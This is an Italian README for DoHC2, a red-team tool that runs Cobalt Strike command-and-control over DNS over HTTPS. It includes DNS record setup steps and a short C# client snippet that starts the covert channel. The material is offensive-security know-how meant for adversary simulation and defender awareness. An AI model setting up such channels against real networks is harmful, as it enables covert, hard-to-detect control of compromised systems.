⚠️ NOTA: questo strumento non è più in manutenzione attiva.
DoHC2
DoHC2 consente di utilizzare la libreria ExternalC2 di Ryan Hanson (https://github.com/ryhanson/ExternalC2) per il command and control (C2) tramite DNS over HTTPS (DoH). È stato creato per il popolare software di Adversary Simulation e Red Team Operations Cobalt Strike (https://www.cobaltstrike.com).
Presentazione
Questo progetto è stato rilasciato il 23 ottobre 2018 al Mitre ATT&CKcon.
Slide:
Fare l'avvocato del diavolo per le iniziative di sicurezza con ATT&CK
Articolo del blog:
DOH! Il DNS over HTTPS comporta possibili rischi per le aziende
Diagramma

Utilizzo
- Installare e avviare il teamserver di Cobalt Strike.
- Avviare un listener beacon_http/beacon_https - Attenzione Può essere isolato tramite firewall, ma è necessario per far funzionare External C2.
- Caricare lo script 'external_c2.cna' per avviare ExternalC2 sulla porta 2222 (Firewall disattivato).
- Installare le dipendenze per il server python3.
- Consentire la porta 53/udp verso Internet (o verso gli intervalli IP del provider DoH).
- Creare un record A sul proprio dominio che punti all'IP del teamserver/server DNS, ad esempio [A] entry.example.org -> 000.000.000.000.
- Creare un record NS che punti al record A per il canale di invio (INPUTDOMAIN), ad esempio [NS] send.example.org -> entry.example.org.
- Creare un record NS che punti al record A per il canale di ricezione (OUTPUTDOMAIN), ad esempio [NS] receive.example.org -> entry.example.org.
- Modificare INPUTDOMAIN e OUTPUTDOMAIN in DoHC2.py. Cambiare la chiave di crittografia/IV: viene utilizzata per crittografare il percorso da Teamserver-->Client (solo) (crittografa lo Stager). Modificare max_records da 1 in base al provider DoH: alcuni provider riordinano i record restituiti, cosa che al momento non è gestita. Il valore massimo di 5 funziona bene con il server DNS.
- Avviare il server DNS python3.
- Compilare la libreria ExternalC2. Cambiare la chiave di crittografia/IV in DoHChannel.cs in modo che corrisponda al server python3.
- Configurare e avviare DoHC2() come di seguito, assicurandosi di impostare INPUTDOMAIN, OUTPUTDOMAIN e un provider DoH nel formato 'https://resolver.example.org/dns-query'.
Server
Server DNS Python basato su ACME DNS Server
- Questa interfaccia connette il DNS grezzo al Teamserver di Cobalt Strike su 127.0.0.1:2222 per impostazione predefinita.
- Cambiare INPUTDOMAIN e OUTPUTDOMAIN in host che siano NS dell'IP esterno del server:
pip3 install -r requirements.txt
sudo python3 ./DoHC2.py
Libreria
La ExternalC2 di @ryhanson con le seguenti aggiunte:
Esempio di client
- Come per il resto di ExternalC2, DoHC2 è COMVisible per JScript/DotNetToJS, ma questo è un semplice esempio per avviarlo.
- Il client di esempio DoHC2Runner è un semplice programma C# per dimostrare il caricamento della libreria e la sua configurazione come segue:
DoHC2 doh = new DoHC2();
doh.Configure("<INPUTDOMAIN>","<OUTPUTDOMAIN>","<DoH URI i.e. https://dns.google.com/resolve or https://dns.example.org/dns-query");
doh.Go();
Autori
Licenza
DoHC2
Alcuni elementi creati da David Middlehurst, SpiderLabs come descritto sopra
(Fare riferimento alle rispettive licenze dove vengono utilizzati altri progetti open-source).
Copyright (C) 2018 Trustwave Holdings, Inc.
Questo programma è software libero: puoi ridistribuirlo e/o modificarlo
secondo i termini della GNU General Public License come pubblicata dalla
Free Software Foundation, o la versione 3 della Licenza, o
(a tua scelta) qualsiasi versione successiva.
Questo programma è distribuito nella speranza che possa essere utile,
ma SENZA ALCUNA GARANZIA; senza nemmeno la garanzia implicita di
COMMERCIABILITÀ o IDONEITÀ PER UN PARTICOLARE SCOPO. Vedere la
GNU General Public License per maggiori dettagli.
Riconoscimenti
Contributori